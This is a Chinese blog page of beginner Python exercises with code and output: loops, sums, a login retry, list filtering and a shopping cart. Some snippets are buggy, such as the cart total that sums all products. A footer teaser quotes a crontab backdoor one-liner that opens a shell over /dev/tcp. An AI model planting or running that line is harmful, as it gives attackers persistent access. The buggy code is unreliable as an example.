python学习-练习题
1、使用while循环输入 1 2 3 4 5 6 8 9 10
# cat lx.py
#!/usr/local/bin/python3.6 #邹姣姣
#使用while循环输入 1 2 3 4 5 6 8 9 10 i = 1
while i < 11:
if i == 7:
print(" ",end=" ") # 可用pass关键字,什么都不执行
else:
print(i,end=" ")
i = i + 1
print(" ")
执行结果:
# ./lx.py
1 2 3 4 5 6 8 9 10
2、求1-100的所有数的和
[root@localhost python3练习]# cat lx1.py
#!/usr/local/bin/python3.6 #邹姣姣
#求1-100的所有数的和
i = 1
sum1 = 0
sum2 = 0 print("while循环1到100的和:")
while i <= 100:
if i != 100:
print(i,end="+")
else:
print(i,end="=")
sum1 = sum1 + i
i = i+1 print(sum1) print("for循环1到100的和:")
for j in range(1,101):
if j != 100:
print(j,end="+") else:
print(j,end="=")
sum2 = sum2 + j
print(sum2)
执行结果:
[root@localhost python3练习]# ./lx1.py
while循环1到100的和:
1+2+3+4+5+6+7+8+9+10+11+12+13+14+15+16+17+18+19+20+21+22+23+24+25+26+27+28+29+30+31+32+33+34+35+36+37+38+39+40+41+42+43+44+45+46+47+48+49+50+51+52+53+54+55+56+57+58+59+60+61+62+63+64+65+66+67+68+69+70+71+72+73+74+75+76+77+78+79+80+81+82+83+84+85+86+87+88+89+90+91+92+93+94+95+96+97+98+99+100=5050
for循环1到100的和:
1+2+3+4+5+6+7+8+9+10+11+12+13+14+15+16+17+18+19+20+21+22+23+24+25+26+27+28+29+30+31+32+33+34+35+36+37+38+39+40+41+42+43+44+45+46+47+48+49+50+51+52+53+54+55+56+57+58+59+60+61+62+63+64+65+66+67+68+69+70+71+72+73+74+75+76+77+78+79+80+81+82+83+84+85+86+87+88+89+90+91+92+93+94+95+96+97+98+99+100=5050
3、输出 1-100 内的所有奇数,输出 1-100 内的所有偶数
[root@localhost python3练习]# cat lx2.py
#!/usr/local/bin/python3.6 #邹姣姣
#输出 1-100 内的所有奇数,偶数 print("1-100内的所有奇数:")
for i in range(1,101):
if i%2 != 0 :
print(i,end=" ") print("\n1-100内的所有偶数:")
for i in range(1,101):
if i%2 == 0 :
print(i,end=" ") print()
执行结果:
[root@localhost python3练习]# ./lx2.py
1-100内的所有奇数:
1 3 5 7 9 11 13 15 17 19 21 23 25 27 29 31 33 35 37 39 41 43 45 47 49 51 53 55 57 59 61 63 65 67 69 71 73 75 77 79 81 83 85 87 89 91 93 95 97 99
1-100内的所有偶数:
2 4 6 8 10 12 14 16 18 20 22 24 26 28 30 32 34 36 38 40 42 44 46 48 50 52 54 56 58 60 62 64 66 68 70 72 74 76 78 80 82 84 86 88 90 92 94 96 98 100
4、求1-2+3-4+5 ... 99的所有数的和
[root@localhost python3练习]# cat lx3.py
#!/usr/local/bin/python3.6 #邹姣姣
#求1-2+3-4+5 ... 99的所有数的和 i=int(input("请输入需要求和的最终数字:"))
if i%2 == 0:
sum1 = 0 - i / 2
else:
sum1 = i - (i-1) / 2 print("1-2+3-4+5 ... {} 的所有数的和为 {}".format(i,sum1))
执行结果:
[root@localhost python3练习]# ./lx3.py
请输入需要求和的最终数字:99
1-2+3-4+5 ... 99 的所有数的和为 50.0
5、用户登陆(三次机会重试)
[root@localhost python3练习]# cat lx4.py
#!/usr/local/bin/python3.6 #邹姣姣
#用户登陆(三次机会重试) username='zoujiaojiao'
password=''
i = 0
while i < 3:
name=input("请输入登录账户:")
if name != 'zoujiaojiao':
print("没有此用户")
else:
pword=input("请输入密码:")
if pword != '':
print("密码错误!")
else:
print("登录成功!")
break
i = i + 1
print(" ")
执行结果:
[root@localhost python3练习]# ./lx4.py
请输入登录账户:zoujiaojiao
请输入密码:1
密码错误!
请输入登录账户:zoujiaojiao
请输入密码:12345678
登录成功!
[root@localhost python3练习]# ./lx4.py
请输入登录账户:zoujiaojiao
请输入密码:1
密码错误!
请输入登录账户:z
没有此用户
请输入登录账户:zoujiaojiao
请输入密码:3
密码错误!
6、元素分类
有如下值集合 [11,22,33,44,55,66,77,88,99,90...],将所有大于 66 的值保存至字典的第一个key中,将小于 66 的值保存至第二个key的值中。
即: {'k1': 大于66的所有值, 'k2': 小于66的所有值}
[root@localhost python3练习]# cat lx5.py
#!/usr/local/bin/python3.6 #邹姣姣
#有如下值集合 [11,22,33,44,55,66,77,88,99,90...],将所有大于 66 的值保存至字典的第一个key中,将小于 66 的值保存至第二个key的值中。 li = [11, 22, 33, 55, 66, 44, 77, 88, 99, 100] #for循环找出数值,加入到字典中
li1 = []
li2 = []
dic = {}
for i in li:
if i > 66:
li1.append(i)
elif i < 66:
li2.append(i)
dic.update(k1=li1, k2=li2)
print("dic:",dic) #用if字句做个过滤,将大于66和小于66的进行分类后加入到字典中
dic1={}
li3 = [ i for i in li if i > 66]
li4 = [ i for i in li if i < 66]
dic1.update(k1=li3, k2=li4)
print("dic1:",dic1)
执行结果:
[root@localhost python3练习]# ./lx5.py
dic: {'k1': [77, 88, 99, 100], 'k2': [11, 22, 33, 55, 44]}
dic1: {'k1': [77, 88, 99, 100], 'k2': [11, 22, 33, 55, 44]}
7、查找
[root@localhost python3练习]# cat lx6.py
#!/usr/local/bin/python3.6 #邹姣姣
#查找列表中元素,移除每个元素的空格,并查找以 a或A开头 并且以 c 结尾的所有元素。 li = ["alec", " Aric", "Alex", "Tony", "rain"]
tu = ("alec", " aric", "Alex", "Tony", "rain")
dic = {'k1': "alex", 'k2': ' aric', "k3": "Alex", "k4": "Tony"}
print("li元素处理情况:")
li2 = [li2.strip() for li2 in li]
for s in li2:
if s.startswith("a") or s.startswith("A") and s.endswith("c"):
print(s)
print(li2) print("tu元素处理情况:")
li3 = list(tu)
li4 = [li4.strip() for li4 in li3]
for s in li4:
if s.startswith("a") or s.startswith("A") and s.endswith("c"):
print(s)
print(tuple(li4)) print("dic元素处理情况:")
dic2 = {}
for i,v in dic.items():
v=v.strip()
dic2.setdefault(i,v)
if v.startswith("a") or v.startswith("A") and v.endswith("c"):
print(i,":",v)
print(dic2)
执行结果:
[root@localhost python3练习]# ./lx6.py
li元素处理情况:
alec
Aric
['alec', 'Aric', 'Alex', 'Tony', 'rain']
tu元素处理情况:
alec
aric
('alec', 'aric', 'Alex', 'Tony', 'rain')
dic元素处理情况:
k1 : alex
k2 : aric
{'k1': 'alex', 'k2': 'aric', 'k3': 'Alex', 'k4': 'Tony'}
[root@localhost python3练习]# cat lx7.py
#!/usr/local/bin/python3.6 #邹姣姣
#输出商品列表,用户输入序号,显示用户选中的商品 li = ["手机", "电脑", '鼠标垫', '游艇']
count = 1
print("商场有以下商品:")
for i in li:
print("{} : {}".format(count,i))
count = count + 1 n = int(input("请输入序号:"))
print(li[n-1])
执行结果:
[root@localhost python3练习]# ./lx7.py
商场有以下商品:
1 : 手机
2 : 电脑
3 : 鼠标垫
4 : 游艇
请输入序号:4
游艇
功能要求:
- 要求用户输入总资产,例如:2000
- 显示商品列表,让用户根据序号选择商品,加入购物车
- 购买,如果商品总额大于总资产,提示账户余额不足,否则,购买成功。
- 附加:可充值、某商品移除购物车
[root@localhost python3练习]# cat lx8.py
#!/usr/local/bin/python3.6 #邹姣姣
#功能要求:
#
#要求用户输入总资产,例如:2000
#显示商品列表,让用户根据序号选择商品,加入购物车
#购买,如果商品总额大于总资产,提示账户余额不足,否则,购买成功。
#附加:可充值、某商品移除购物车
# li = [["手机",3000], ["电脑",5000], ['鼠标垫',20], ['游艇',300000]]
count = 1
money = int(input("请输入总资产:"))
shopping_cart = [] print("商场有以下商品:")
for i in li:
print("{} : {} 价格 {} 元".format(count,i[0],i[1]))
count = count + 1 print("选择商品序列号加入购物车,选择完毕请输入ok")
n = 0
while str(n) != "ok":
n = input()
if n != "ok":
shopping_cart.append(li[int(n) - 1])
print("已经加入购物车的商品:{}".format([x[0] for x in shopping_cart])) print("选择商品序列号将该商品移除购物车,移除完毕请输入ok")
nn = 0
while str(nn) != "ok":
nn = input()
if nn != "ok":
del shopping_cart[int(nn)-1]
print("已经加入购物车的商品:{}".format([x[0] for x in shopping_cart])) v = 0
for j in li:
j = j[1]
v = v + int(j)
print("商品总价:{}".format(v)) mm = 0
if money - v > 0:
print("购买成功!")
print("购物车已经清空!")
shopping_cart.clear()
else:
nnn = input("账户余额不足!充值请输入ok后进行充值")
if nnn == "ok":
mm = int(input("充值金额:"))
print("账户总资产:{}".format(money + mm))
执行结果:
[root@localhost python3练习]# ./lx8.py
请输入总资产:1234
商场有以下商品:
1 : 手机 价格 3000 元
2 : 电脑 价格 5000 元
3 : 鼠标垫 价格 20 元
4 : 游艇 价格 300000 元
选择商品序列号加入购物车,选择完毕请输入ok
1
2
ok
已经加入购物车的商品:['手机', '电脑']
选择商品序列号将该商品移除购物车,移除完毕请输入ok
1
ok
已经加入购物车的商品:['电脑']
商品总价:308020
账户余额不足!充值请输入ok后进行充值ok
充值金额:10000
账户总资产:11234
python学习-练习题的更多相关文章
- python学习——练习题(10)
""" 题目:暂停一秒输出,并格式化当前时间. """ import sys import time def answer1(): &quo ...
- python学习——练习题(9)
""" 题目:暂停一秒输出. 程序分析:使用 time 模块的 sleep() 函数. http://www.runoob.com/python/python-date- ...
- python学习——练习题(6)
""" 题目:斐波那契数列. 程序分析:斐波那契数列(Fibonacci sequence),又称黄金分割数列,指的是这样一个数列:0.1.1.2.3.5.8.13.21 ...
- python学习——练习题(4)
""" 题目:输入某年某月某日,判断这一天是这一年的第几天? """ import datetime import time from fu ...
- python学习——练习题(1)
""" 题目:有四个数字:1.2.3.4,能组成多少个互不相同且无重复数字的三位数?各是多少? """ import itertools d ...
- python学习——练习题(13)
""" 题目:打印出所有的"水仙花数",所谓"水仙花数"是指一个三位数,其各位数字立方和等于该数本身.例如:153是一个" ...
- python学习——练习题(12)
""" 题目:判断101-200之间有多少个素数,并输出所有素数. 质数(prime number)又称素数,有无限个. 质数定义为在大于1的自然数中,除了1和它本身以外 ...
- python学习——练习题(11)
""" 题目:古典问题:有一对兔子,从出生后第3个月起每个月都生一对兔子,小兔子长到第三个月后每个月又生一对兔子,假如兔子都不死,问每个月的兔子总数为多少? 1 1 2 ...
- python学习——练习题(8)
""" 题目:输出 9*9 乘法口诀表. """ def answer1(): """ 自己用最普通的双重循环 ...
- python学习——练习题(7)
""" 题目:将一个列表的数据复制到另一个列表中. """ import copy def validate(a, b): "&q ...
随机推荐
- App自动化环境搭建
1.安装Appium-desktop工具 下载地址:https://github.com/appium/appium-desktop/releases/tag/v1.8.2 2.安装Android环境 ...
- Visual Studio 生成事件这件小事
在上一篇<Visual Studio 调试技巧>中,介绍了一些VS常用的调试操作,今天,聊一聊VS当中一个不太常见,但有时又有妙用的操作——VS生成事件. 一.什么是VS生成事件 简单来说 ...
- crontab一句话后门分析
正常版本 (crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1&g ...
- PHP array_search
1.函数的作用:在数组中查找元素 2.函数的参数: @params mixed $needle @params array $haystack @params bool $strict 3.例子: ...
- CF543A Writing Code
题目描述 Programmers working on a large project have just received a task to write exactly m m m lines o ...
- Cocos2d-x 学习笔记(11.5) SkewTo SkewBy
1. SkewTo SkewBy node朝X和Y方向的歪斜.SkewTo是SkewBy的父类. 1.1 成员变量 create方法 // 两者成员变量一致 float _skewX; float _ ...
- OptimalSolution(9)--其他问题(1)
一.从5随机到7及其扩展 题目1:给定一个等概率随机产生1~5的随机函数rand1to5: public int rand1To5() { return (int)(Math.random() * 5 ...
- 设计模式(三)Template Method模式
在父类中定义处理流程的框架,在子类中实现具体处理的模式就称为Template Method模式即模板方法模式. 根据下面的示例程序理解模板方法模式. package BigJunOba.bjtu.Te ...
- 设计模式C++描述----01.单例(Singleton)模式
一.概念 单例模式:其意图是保证一个类仅有一个实例,并提供一个访问它的全局访问点,该实例被所有程序模块共享. class CSingleton { //公有的静态方法,来获取该实例 public: s ...
- Linux读取外存
Linux系统不像Windows系统那样,U盘自动识别,即插即用,Linux需要手动挂载U盘.步骤如下: 1.查看闪存: fdisk -l 2.添加挂载目录,一般放在/mnt下 mkdir /mnt/ ...